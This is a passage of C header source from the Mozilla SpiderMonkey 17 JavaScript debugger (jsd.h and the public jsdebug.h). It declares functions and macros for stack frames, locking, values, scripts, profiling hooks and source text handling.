jsd_GetPCForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDValue* jsd_GetCallObjectForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDValue* jsd_GetScopeChainForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSBool jsd_IsStackFrameDebugger(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSBool jsd_IsStackFrameConstructing(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDValue* jsd_GetThisForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSString* jsd_GetIdForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDThreadState* jsd_NewThreadState(JSDContext* jsdc, JSContext *cx); extern void jsd_DestroyThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSBool jsd_EvaluateUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, JSBool eatExceptions, jsval *rval); extern JSBool jsd_EvaluateScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, JSBool eatExceptions, jsval *rval); extern JSString* jsd_ValToStringInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, jsval val); extern JSBool jsd_IsValidThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSBool jsd_IsValidFrameInThreadState(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDValue* jsd_GetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSBool jsd_SetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDValue* jsdval); /***************************************************************************/ /* Locking support */ /* protos are in js_lock.h for: * jsd_CreateLock * jsd_Lock * jsd_Unlock * jsd_IsLocked * jsd_CurrentThread */ #ifdef JSD_THREADSAFE /* the system-wide lock */ extern void* _jsd_global_lock; #define JSD_LOCK() \ JS_BEGIN_MACRO \ if(!_jsd_global_lock) \ _jsd_global_lock = jsd_CreateLock(); \ JS_ASSERT(_jsd_global_lock); \ jsd_Lock(_jsd_global_lock); \ JS_END_MACRO #define JSD_UNLOCK() \ JS_BEGIN_MACRO \ JS_ASSERT(_jsd_global_lock); \ jsd_Unlock(_jsd_global_lock); \ JS_END_MACRO /* locks for the subsystems of a given context */ #define JSD_INIT_LOCKS(jsdc) \ ( (NULL != (jsdc->scriptsLock = jsd_CreateLock())) && \ (NULL != (jsdc->sourceTextLock = jsd_CreateLock())) && \ (NULL != (jsdc->atomsLock = jsd_CreateLock())) && \ (NULL != (jsdc->objectsLock = jsd_CreateLock())) && \ (NULL != (jsdc->threadStatesLock = jsd_CreateLock())) ) #define JSD_LOCK_SCRIPTS(jsdc) jsd_Lock(jsdc->scriptsLock) #define JSD_UNLOCK_SCRIPTS(jsdc) jsd_Unlock(jsdc->scriptsLock) #define JSD_LOCK_SOURCE_TEXT(jsdc) jsd_Lock(jsdc->sourceTextLock) #define JSD_UNLOCK_SOURCE_TEXT(jsdc) jsd_Unlock(jsdc->sourceTextLock) #define JSD_LOCK_ATOMS(jsdc) jsd_Lock(jsdc->atomsLock) #define JSD_UNLOCK_ATOMS(jsdc) jsd_Unlock(jsdc->atomsLock) #define JSD_LOCK_OBJECTS(jsdc) jsd_Lock(jsdc->objectsLock) #define JSD_UNLOCK_OBJECTS(jsdc) jsd_Unlock(jsdc->objectsLock) #define JSD_LOCK_THREADSTATES(jsdc) jsd_Lock(jsdc->threadStatesLock) #define JSD_UNLOCK_THREADSTATES(jsdc) jsd_Unlock(jsdc->threadStatesLock) #else /* !JSD_THREADSAFE */ #define JSD_LOCK() ((void)0) #define JSD_UNLOCK() ((void)0) #define JSD_INIT_LOCKS(jsdc) 1 #define JSD_LOCK_SCRIPTS(jsdc) ((void)0) #define JSD_UNLOCK_SCRIPTS(jsdc) ((void)0) #define JSD_LOCK_SOURCE_TEXT(jsdc) ((void)0) #define JSD_UNLOCK_SOURCE_TEXT(jsdc) ((void)0) #define JSD_LOCK_ATOMS(jsdc) ((void)0) #define JSD_UNLOCK_ATOMS(jsdc) ((void)0) #define JSD_LOCK_OBJECTS(jsdc) ((void)0) #define JSD_UNLOCK_OBJECTS(jsdc) ((void)0) #define JSD_LOCK_THREADSTATES(jsdc) ((void)0) #define JSD_UNLOCK_THREADSTATES(jsdc) ((void)0) #endif /* JSD_THREADSAFE */ /* NOTE: These are intended for ASSERTs. Thus we supply checks for both * LOCKED and UNLOCKED (rather that just LOCKED and !LOCKED) so that in * the DEBUG non-Threadsafe case we can have an ASSERT that always succeeds * without having to special case things in the code. */ #if defined(JSD_THREADSAFE) && defined(DEBUG) #define JSD_SCRIPTS_LOCKED(jsdc) (jsd_IsLocked(jsdc->scriptsLock)) #define JSD_SOURCE_TEXT_LOCKED(jsdc) (jsd_IsLocked(jsdc->sourceTextLock)) #define JSD_ATOMS_LOCKED(jsdc) (jsd_IsLocked(jsdc->atomsLock)) #define JSD_OBJECTS_LOCKED(jsdc) (jsd_IsLocked(jsdc->objectsLock)) #define JSD_THREADSTATES_LOCKED(jsdc) (jsd_IsLocked(jsdc->threadStatesLock)) #define JSD_SCRIPTS_UNLOCKED(jsdc) (!jsd_IsLocked(jsdc->scriptsLock)) #define JSD_SOURCE_TEXT_UNLOCKED(jsdc) (!jsd_IsLocked(jsdc->sourceTextLock)) #define JSD_ATOMS_UNLOCKED(jsdc) (!jsd_IsLocked(jsdc->atomsLock)) #define JSD_OBJECTS_UNLOCKED(jsdc) (!jsd_IsLocked(jsdc->objectsLock)) #define JSD_THREADSTATES_UNLOCKED(jsdc) (!jsd_IsLocked(jsdc->threadStatesLock)) #else #define JSD_SCRIPTS_LOCKED(jsdc) 1 #define JSD_SOURCE_TEXT_LOCKED(jsdc) 1 #define JSD_ATOMS_LOCKED(jsdc) 1 #define JSD_OBJECTS_LOCKED(jsdc) 1 #define JSD_THREADSTATES_LOCKED(jsdc) 1 #define JSD_SCRIPTS_UNLOCKED(jsdc) 1 #define JSD_SOURCE_TEXT_UNLOCKED(jsdc) 1 #define JSD_ATOMS_UNLOCKED(jsdc) 1 #define JSD_OBJECTS_UNLOCKED(jsdc) 1 #define JSD_THREADSTATES_UNLOCKED(jsdc) 1 #endif /* defined(JSD_THREADSAFE) && defined(DEBUG) */ /***************************************************************************/ /* Threading support */ #ifdef JSD_THREADSAFE #define JSD_CURRENT_THREAD() jsd_CurrentThread() #else /* !JSD_THREADSAFE */ #define JSD_CURRENT_THREAD() ((void*)0) #endif /* JSD_THREADSAFE */ /***************************************************************************/ /* Dangerous thread support */ #ifdef JSD_HAS_DANGEROUS_THREAD #define JSD_IS_DANGEROUS_THREAD(jsdc) \ (JSD_CURRENT_THREAD() == jsdc->dangerousThread) #else /* !JSD_HAS_DANGEROUS_THREAD */ #define JSD_IS_DANGEROUS_THREAD(jsdc) 0 #endif /* JSD_HAS_DANGEROUS_THREAD */ /***************************************************************************/ /* Value and Property Functions */ extern JSDValue* jsd_NewValue(JSDContext* jsdc, jsval val); extern void jsd_DropValue(JSDContext* jsdc, JSDValue* jsdval); extern jsval jsd_GetValueWrappedJSVal(JSDContext* jsdc, JSDValue* jsdval); extern void jsd_RefreshValue(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ extern JSBool jsd_IsValueObject(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueNumber(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueInt(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueDouble(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueString(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueBoolean(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueNull(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueVoid(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValuePrimitive(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueFunction(JSDContext* jsdc, JSDValue* jsdval); extern JSBool jsd_IsValueNative(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ extern JSBool jsd_GetValueBoolean(JSDContext* jsdc, JSDValue* jsdval); extern int32_t jsd_GetValueInt(JSDContext* jsdc, JSDValue* jsdval); extern double jsd_GetValueDouble(JSDContext* jsdc, JSDValue* jsdval); extern JSString* jsd_GetValueString(JSDContext* jsdc, JSDValue* jsdval); extern JSString* jsd_GetValueFunctionId(JSDContext* jsdc, JSDValue* jsdval); extern JSFunction* jsd_GetValueFunction(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ extern unsigned jsd_GetCountOfProperties(JSDContext* jsdc, JSDValue* jsdval); extern JSDProperty* jsd_IterateProperties(JSDContext* jsdc, JSDValue* jsdval, JSDProperty **iterp); extern JSDProperty* jsd_GetValueProperty(JSDContext* jsdc, JSDValue* jsdval, JSString* name); extern JSDValue* jsd_GetValuePrototype(JSDContext* jsdc, JSDValue* jsdval); extern JSDValue* jsd_GetValueParent(JSDContext* jsdc, JSDValue* jsdval); extern JSDValue* jsd_GetValueConstructor(JSDContext* jsdc, JSDValue* jsdval); extern const char* jsd_GetValueClassName(JSDContext* jsdc, JSDValue* jsdval); extern JSDScript* jsd_GetScriptForValue(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ extern void jsd_DropProperty(JSDContext* jsdc, JSDProperty* jsdprop); extern JSDValue* jsd_GetPropertyName(JSDContext* jsdc, JSDProperty* jsdprop); extern JSDValue* jsd_GetPropertyValue(JSDContext* jsdc, JSDProperty* jsdprop); extern JSDValue* jsd_GetPropertyAlias(JSDContext* jsdc, JSDProperty* jsdprop); extern unsigned jsd_GetPropertyFlags(JSDContext* jsdc, JSDProperty* jsdprop); /**************************************************/ /* Stepping Functions */ extern void * jsd_FunctionCallHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure); extern void * jsd_TopLevelCallHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure); /**************************************************/ /* Object Functions */ extern JSBool jsd_InitObjectManager(JSDContext* jsdc); extern void jsd_DestroyObjectManager(JSDContext* jsdc); extern void jsd_DestroyObjects(JSDContext* jsdc); extern void jsd_Constructing(JSDContext* jsdc, JSContext *cx, JSObject *obj, JSStackFrame *fp); extern JSDObject* jsd_IterateObjects(JSDContext* jsdc, JSDObject** iterp); extern JSObject* jsd_GetWrappedObject(JSDContext* jsdc, JSDObject* jsdobj); extern const char* jsd_GetObjectNewURL(JSDContext* jsdc, JSDObject* jsdobj); extern unsigned jsd_GetObjectNewLineNumber(JSDContext* jsdc, JSDObject* jsdobj); extern const char* jsd_GetObjectConstructorURL(JSDContext* jsdc, JSDObject* jsdobj); extern unsigned jsd_GetObjectConstructorLineNumber(JSDContext* jsdc, JSDObject* jsdobj); extern const char* jsd_GetObjectConstructorName(JSDContext* jsdc, JSDObject* jsdobj); extern JSDObject* jsd_GetJSDObjectForJSObject(JSDContext* jsdc, JSObject* jsobj); extern JSDObject* jsd_GetObjectForValue(JSDContext* jsdc, JSDValue* jsdval); /* * returns new refcounted JSDValue */ extern JSDValue* jsd_GetValueForObject(JSDContext* jsdc, JSDObject* jsdobj); /**************************************************/ /* Atom Functions */ extern JSBool jsd_CreateAtomTable(JSDContext* jsdc); extern void jsd_DestroyAtomTable(JSDContext* jsdc); extern JSDAtom* jsd_AddAtom(JSDContext* jsdc, const char* str); extern JSDAtom* jsd_CloneAtom(JSDContext* jsdc, JSDAtom* atom); extern void jsd_DropAtom(JSDContext* jsdc, JSDAtom* atom); #define JSD_ATOM_TO_STRING(a) ((const char*)((a)->str)) /***************************************************************************/ /* Livewire specific API */ #ifdef LIVEWIRE extern LWDBGScript* jsdlw_GetLWScript(JSDContext* jsdc, JSDScript* jsdscript); extern char* jsdlw_BuildAppRelativeFilename(LWDBGApp* app, const char* filename); extern JSDSourceText* jsdlw_PreLoadSource(JSDContext* jsdc, LWDBGApp* app, const char* filename, JSBool clear); extern JSDSourceText* jsdlw_ForceLoadSource(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSBool jsdlw_UserCodeAtPC(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc); extern JSBool jsdlw_RawToProcessedLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut); extern JSBool jsdlw_ProcessedToRawLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut); #if 0 /* our hook proc for LiveWire app start/stop */ extern void jsdlw_AppHookProc(LWDBGApp* app, JSBool created, void *callerdata); #endif #endif /***************************************************************************/ JS_END_EXTERN_C #endif /* jsd_h___ */ mozjs17.0.0/js/jsd/jsdebug.h0000664000175000017500000014302112106270662015571 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Header for JavaScript Debugging support - All public functions */ #ifndef jsdebug_h___ #define jsdebug_h___ /* Get jstypes.h included first. After that we can use PR macros for doing * this extern "C" stuff! */ #ifdef __cplusplus extern "C" { #endif #include "jstypes.h" #ifdef __cplusplus } #endif #include "jsapi.h" #include "jsdbgapi.h" #ifdef LIVEWIRE #include "lwdbgapi.h" #endif JS_BEGIN_EXTERN_C /* * The linkage of JSD API functions differs depending on whether the file is * used within the JSD library or not. Any source file within the JSD * libraray should define EXPORT_JSD_API whereas any client of the library * should not. */ #ifdef EXPORT_JSD_API #define JSD_PUBLIC_API(t) JS_EXPORT_API(t) #define JSD_PUBLIC_DATA(t) JS_EXPORT_DATA(t) #else #define JSD_PUBLIC_API(t) JS_IMPORT_API(t) #define JSD_PUBLIC_DATA(t) JS_IMPORT_DATA(t) #endif #define JSD_FRIEND_API(t) JSD_PUBLIC_API(t) #define JSD_FRIEND_DATA(t) JSD_PUBLIC_DATA(t) /***************************************************************************/ /* Opaque typedefs for handles */ typedef struct JSDContext JSDContext; typedef struct JSDScript JSDScript; typedef struct JSDSourceText JSDSourceText; typedef struct JSDThreadState JSDThreadState; typedef struct JSDStackFrameInfo JSDStackFrameInfo; typedef struct JSDValue JSDValue; typedef struct JSDProperty JSDProperty; typedef struct JSDObject JSDObject; /***************************************************************************/ /* High Level calls */ /* * callback stuff for calls in EXE to be accessed by this code * when it lives in an explicitly loaded DLL */ /* * This callback allows JSD to inform the embedding when JSD has been * turned on or off. This is especially useful in the Java-based debugging * system used in mozilla because the debugger applet controls starting * up the JSD system. */ typedef void (* JSD_SetContextProc)(JSDContext* jsdc, void* user); /* This struct could have more fields in future versions */ typedef struct { unsigned size; /* size of this struct (init before use)*/ JSD_SetContextProc setContext; } JSD_UserCallbacks; /* * Used by an embedding to tell JSD what JSRuntime to use and to set * callbacks without starting up JSD. This assumes only one JSRuntime * will be used. This exists to support the mozilla Java-based debugger * system. */ extern JSD_PUBLIC_API(void) JSD_SetUserCallbacks(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user); /* * Startup JSD. * This version of the init function requires that JSD_SetUserCallbacks() * has been previously called (with a non-NULL callback struct pointer) */ extern JSD_PUBLIC_API(JSDContext*) JSD_DebuggerOn(void); /* * Startup JSD on a particular JSRuntime with (optional) callbacks */ extern JSD_PUBLIC_API(JSDContext*) JSD_DebuggerOnForUser(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user); /* * Startup JSD in an application that uses compartments. Debugger * objects will be allocated in the same compartment as scopeobj. */ extern JSD_PUBLIC_API(JSDContext*) JSD_DebuggerOnForUserWithCompartment(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user, JSObject* scopeobj); /* * Shutdown JSD for this JSDContext */ extern JSD_PUBLIC_API(void) JSD_DebuggerOff(JSDContext* jsdc); /* * Pause JSD for this JSDContext */ extern JSD_PUBLIC_API(void) JSD_DebuggerPause(JSDContext* jsdc); /* * Unpause JSD for this JSDContext */ extern JSD_PUBLIC_API(void) JSD_DebuggerUnpause(JSDContext* jsdc); /* * Get the Major Version (initial JSD release used major version = 1) */ extern JSD_PUBLIC_API(unsigned) JSD_GetMajorVersion(void); /* * Get the Minor Version (initial JSD release used minor version = 0) */ extern JSD_PUBLIC_API(unsigned) JSD_GetMinorVersion(void); /* * Returns a 'dumb' JSContext that can be used for utility purposes as needed */ extern JSD_PUBLIC_API(JSContext*) JSD_GetDefaultJSContext(JSDContext* jsdc); /* * Returns a JSRuntime this context is associated with */ extern JSD_PUBLIC_API(JSRuntime*) JSD_GetJSRuntime(JSDContext* jsdc); /* * Set the private data for this context, returns previous value */ extern JSD_PUBLIC_API(void *) JSD_SetContextPrivate(JSDContext *jsdc, void *data); /* * Get the private data for this context */ extern JSD_PUBLIC_API(void *) JSD_GetContextPrivate(JSDContext *jsdc); /* * Clear profile data for all scripts */ extern JSD_PUBLIC_API(void) JSD_ClearAllProfileData(JSDContext* jsdc); /* * Context flags. */ /* Include native frames in JSDThreadStates. */ #define JSD_INCLUDE_NATIVE_FRAMES 0x01 /* * Normally, if a script has a 0 in JSD_SCRIPT_PROFILE_BIT it is included in * profile data, otherwise it is not profiled. Setting the JSD_PROFILE_WHEN_SET * flag reverses this convention. */ #define JSD_PROFILE_WHEN_SET 0x02 /* * Normally, when the script in the top frame of a thread state has a 1 in * JSD_SCRIPT_DEBUG_BIT, the execution hook is ignored. Setting the * JSD_DEBUG_WHEN_SET flag reverses this convention. */ #define JSD_DEBUG_WHEN_SET 0x04 /* * When this flag is set the internal call hook will collect profile data. */ #define JSD_COLLECT_PROFILE_DATA 0x08 /* * When this flag is set, stack frames that are disabled for debugging * will not appear in the call stack chain. */ #define JSD_HIDE_DISABLED_FRAMES 0x10 /* * When this flag is set, the debugger will only check the * JSD_SCRIPT_DEBUG_BIT on the top (most recent) stack frame. This * makes it possible to stop in an enabled frame which was called from * a stack that contains a disabled frame. * * When this flag is *not* set, any stack that contains a disabled frame * will not be debugged (the execution hook will not be invoked.) * * This only applies when the reason for calling the hook would have * been JSD_HOOK_INTERRUPTED or JSD_HOOK_THROW. JSD_HOOK_BREAKPOINT, * JSD_HOOK_DEBUG_REQUESTED, and JSD_HOOK_DEBUGGER_KEYWORD always stop, * regardless of this setting, as long as the top frame is not disabled. * * If JSD_HIDE_DISABLED_FRAMES is set, this is effectively set as well. */ #define JSD_MASK_TOP_FRAME_ONLY 0x20 /* * 0x40 was formerly used to hook into object creation. */ #define JSD_DISABLE_OBJECT_TRACE_RETIRED 0x40 extern JSD_PUBLIC_API(void) JSD_SetContextFlags (JSDContext* jsdc, uint32_t flags); extern JSD_PUBLIC_API(uint32_t) JSD_GetContextFlags (JSDContext* jsdc); /* * Notify JSD that this JSContext is 'in use'. This allows JSD to hook the * ErrorReporter. For the most part this is done automatically whenever * events like script loading happen. But, it is a good idea to call this * from the embedding when new contexts come into use. */ extern JSD_PUBLIC_API(void) JSD_JSContextInUse(JSDContext* jsdc, JSContext* context); /* * Find the JSDContext (if any) associated with the JSRuntime of a * given JSContext. */ extern JSD_PUBLIC_API(JSDContext*) JSD_JSDContextForJSContext(JSContext* context); /***************************************************************************/ /* Script functions */ /* * Lock the entire script subsystem. This grabs a highlevel lock that * protects the JSD internal information about scripts. It is important * to wrap script related calls in this lock in multithreaded situations * -- i.e. where the debugger is running on a different thread than the * interpreter -- or when multiple debugger threads may be accessing this * subsystem. It is safe (and best) to use this locking even if the * environment might not be multi-threaded. Safely nestable. */ extern JSD_PUBLIC_API(void) JSD_LockScriptSubsystem(JSDContext* jsdc); /* * Unlock the entire script subsystem -- see JSD_LockScriptSubsystem */ extern JSD_PUBLIC_API(void) JSD_UnlockScriptSubsystem(JSDContext* jsdc); /* * Iterate through all the active scripts for this JSDContext. * NOTE: must initialize iterp to NULL to start iteration. * NOTE: must lock and unlock the subsystem * example: * * JSDScript jsdscript; * JSDScript iter = NULL; * * JSD_LockScriptSubsystem(jsdc); * while((jsdscript = JSD_IterateScripts(jsdc, &iter)) != NULL) { * *** use jsdscript here *** * } * JSD_UnlockScriptSubsystem(jsdc); */ extern JSD_PUBLIC_API(JSDScript*) JSD_IterateScripts(JSDContext* jsdc, JSDScript **iterp); /* * Get the number of times this script has been called. */ extern JSD_PUBLIC_API(unsigned) JSD_GetScriptCallCount(JSDContext* jsdc, JSDScript *script); /* * Get the max number of times this script called itself, directly or indirectly. */ extern JSD_PUBLIC_API(unsigned) JSD_GetScriptMaxRecurseDepth(JSDContext* jsdc, JSDScript *script); /* * Get the shortest execution time recorded. */ extern JSD_PUBLIC_API(double) JSD_GetScriptMinExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Get the longest execution time recorded. */ extern JSD_PUBLIC_API(double) JSD_GetScriptMaxExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Get the total amount of time spent in this script. */ extern JSD_PUBLIC_API(double) JSD_GetScriptTotalExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Get the shortest execution time recorded, excluding time spent in called * functions. */ extern JSD_PUBLIC_API(double) JSD_GetScriptMinOwnExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Get the longest execution time recorded, excluding time spent in called * functions. */ extern JSD_PUBLIC_API(double) JSD_GetScriptMaxOwnExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Get the total amount of time spent in this script, excluding time spent * in called functions. */ extern JSD_PUBLIC_API(double) JSD_GetScriptTotalOwnExecutionTime(JSDContext* jsdc, JSDScript *script); /* * Clear profile data for this script. */ extern JSD_PUBLIC_API(void) JSD_ClearScriptProfileData(JSDContext* jsdc, JSDScript *script); /* * Get the JSScript for a JSDScript */ extern JSD_PUBLIC_API(JSScript*) JSD_GetJSScript(JSDContext* jsdc, JSDScript *script); /* * Get the JSFunction for a JSDScript */ extern JSD_PUBLIC_API(JSFunction*) JSD_GetJSFunction(JSDContext* jsdc, JSDScript *script); /* * Determines whether or not to collect profile information for this * script. The context flag JSD_PROFILE_WHEN_SET decides the logic. */ #define JSD_SCRIPT_PROFILE_BIT 0x01 /* * Determines whether or not to ignore breakpoints, etc. in this script. * The context flag JSD_DEBUG_WHEN_SET decides the logic. */ #define JSD_SCRIPT_DEBUG_BIT 0x02 /* * Determines whether to invoke the onScriptDestroy callback for this * script. The default is for this to be true if the onScriptCreated * callback was invoked for this script. */ #define JSD_SCRIPT_CALL_DESTROY_HOOK_BIT 0x04 extern JSD_PUBLIC_API(uint32_t) JSD_GetScriptFlags(JSDContext *jsdc, JSDScript* jsdscript); extern JSD_PUBLIC_API(void) JSD_SetScriptFlags(JSDContext *jsdc, JSDScript* jsdscript, uint32_t flags); /* * Set the private data for this script, returns previous value */ extern JSD_PUBLIC_API(void *) JSD_SetScriptPrivate(JSDScript* jsdscript, void *data); /* * Get the private data for this script */ extern JSD_PUBLIC_API(void *) JSD_GetScriptPrivate(JSDScript* jsdscript); /* * Determine if this script is still loaded in the interpreter */ extern JSD_PUBLIC_API(JSBool) JSD_IsActiveScript(JSDContext* jsdc, JSDScript *jsdscript); /* * Get the filename associated with this script */ extern JSD_PUBLIC_API(const char*) JSD_GetScriptFilename(JSDContext* jsdc, JSDScript *jsdscript); /* * Get the function name associated with this script (NULL if not a function). * If the function does not have a name the result is the string "anonymous". * *** new for gecko 2.0 **** */ extern JSD_PUBLIC_API(JSString *) JSD_GetScriptFunctionId(JSDContext* jsdc, JSDScript *jsdscript); /* * Get the base linenumber of the sourcefile from which this script was loaded. * This is one-based -- i.e. the first line of a file is line '1'. This may * return 0 if this infomation is unknown. */ extern JSD_PUBLIC_API(unsigned) JSD_GetScriptBaseLineNumber(JSDContext* jsdc, JSDScript *jsdscript); /* * Get the count of source lines associated with this script (1 or greater) */ extern JSD_PUBLIC_API(unsigned) JSD_GetScriptLineExtent(JSDContext* jsdc, JSDScript *jsdscript); /* * Declaration of callback for notification of script creation and destruction. * 'creating' is JS_TRUE if creating new script, JS_FALSE if destroying existing * script (callback called just before actual destruction). * 'callerdata' is what was passed to JSD_SetScriptHook to set the hook. */ typedef void (* JSD_ScriptHookProc)(JSDContext* jsdc, JSDScript* jsdscript, JSBool creating, void* callerdata); /* * Set a hook to be called when scripts are created or destroyed (loaded or * unloaded). * 'callerdata' can be whatever you want it to be. */ extern JSD_PUBLIC_API(JSBool) JSD_SetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc hook, void* callerdata); /* * Get the current script hook. */ extern JSD_PUBLIC_API(JSBool) JSD_GetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc* hook, void** callerdata); /* * Get a 'Program Counter' value for a given line. This represents the location * of the first bit of executable code for this line of source. This 'pc' should * be considered an opaque handle. * 0 is returned for invalid scripts, or lines that lie outside the script. * If no code is on the given line, then the returned pc represents the first * code within the script (if any) after the given line. * This function can be used to set breakpoints -- see JSD_SetExecutionHook */ extern JSD_PUBLIC_API(uintptr_t) JSD_GetClosestPC(JSDContext* jsdc, JSDScript* jsdscript, unsigned line); /* * Get the source line number for a given 'Program Counter' location. * Returns 0 if no source line information is appropriate (or available) for * the given pc. */ extern JSD_PUBLIC_API(unsigned) JSD_GetClosestLine(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc); /* * Get a list of lines and the corresponding earliest PC for each (see * JSD_GetClosestPC). Lines with no PCs associated will not be returned. NULL * may be passed for either lines or pcs to avoid filling anything in for that * argument. */ extern JSD_PUBLIC_API(JSBool) JSD_GetLinePCs(JSDContext* jsdc, JSDScript* jsdscript, unsigned startLine, unsigned maxLines, unsigned* count, unsigned** lines, uintptr_t** pcs); /* these are only used in cases where scripts are created outside of JS*/ /* * Direct call to notify JSD that a script has been created. * Embeddings that use the normal jsapi script functions need not call this. * Any embedding that follows the (discouraged!) practice of contructing script * structures manually should call this function to inform JSD. (older ssjs * systems do this). */ extern JSD_PUBLIC_API(void) JSD_ScriptCreated(JSDContext* jsdc, JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun); /* * see JSD_ScriptCreated */ extern JSD_PUBLIC_API(void) JSD_ScriptDestroyed(JSDContext* jsdc, JSFreeOp *fop, JSScript *script); /***************************************************************************/ /* Source Text functions */ /* * In some embeddings (e.g. mozilla) JavaScript source code from a 'file' may be * execute before the entire 'file' has even been loaded. This system supports * access to such incrmentally loaded source. It also allows for the possibility * that source loading may fail or be aborted (though the source that did load * may still be usable). Remember that this source is the entire 'file' * contents and that the JavaScript code may only be part of that source. * * For any given URL there can only be one source text item (the most recently * loaded). */ /* these coorespond to netscape.jsdebug.SourceTextItem.java values - * change in both places if anywhere */ typedef enum { JSD_SOURCE_INITED = 0, /* initialized, but contains no source yet */ JSD_SOURCE_PARTIAL = 1, /* some source loaded, more expected */ JSD_SOURCE_COMPLETED = 2, /* all source finished loading */ JSD_SOURCE_ABORTED = 3, /* user aborted loading, some may be loaded */ JSD_SOURCE_FAILED = 4, /* loading failed, some may be loaded */ JSD_SOURCE_CLEARED = 5 /* text has been cleared by debugger */ } JSDSourceStatus; /* * Lock the entire source text subsystem. This grabs a highlevel lock that * protects the JSD internal information about sources. It is important to * wrap source text related calls in this lock in multithreaded situations * -- i.e. where the debugger is running on a different thread than the * interpreter (or the loader of sources) -- or when multiple debugger * threads may be accessing this subsystem. It is safe (and best) to use * this locking even if the environment might not be multi-threaded. * Safely Nestable. */ extern JSD_PUBLIC_API(void) JSD_LockSourceTextSubsystem(JSDContext* jsdc); /* * Unlock the entire source text subsystem. see JSD_LockSourceTextSubsystem. */ extern JSD_PUBLIC_API(void) JSD_UnlockSourceTextSubsystem(JSDContext* jsdc); /* * Iterate the source test items. Use the same pattern of calls shown in * the example for JSD_IterateScripts - NOTE that the SourceTextSubsystem. * must be locked before and unlocked after iterating. */ extern JSD_PUBLIC_API(JSDSourceText*) JSD_IterateSources(JSDContext* jsdc, JSDSourceText **iterp); /* * Find the source text item for the given URL (or filename - or whatever * string the given embedding uses to describe source locations). * Returns NULL is not found. */ extern JSD_PUBLIC_API(JSDSourceText*) JSD_FindSourceForURL(JSDContext* jsdc, const char* url); /* * Get the URL string associated with the given source text item */ extern JSD_PUBLIC_API(const char*) JSD_GetSourceURL(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Get the actual source text. This gives access to the actual storage of * the source - it sHould *not* be written to. * The buffer is NOT zero terminated (nor is it guaranteed to have space to * hold a zero terminating char). * XXX this is 8-bit character data. Unicode source is not yet supported. */ extern JSD_PUBLIC_API(JSBool) JSD_GetSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char** ppBuf, int* pLen); /* * Clear the text -- delete the text and set the status to JSD_SOURCE_CLEARED. * This is useful if source is done loading and the debugger wishes to store * the text data itself (e.g. in a Java String). This allows avoidance of * storing the same text in multiple places. */ extern JSD_PUBLIC_API(void) JSD_ClearSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Return the status of the source text item. see JSDSourceStatus enum. */ extern JSD_PUBLIC_API(JSDSourceStatus) JSD_GetSourceStatus(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Has the source been altered since the last call to JSD_SetSourceDirty? * Use of JSD_IsSourceDirty and 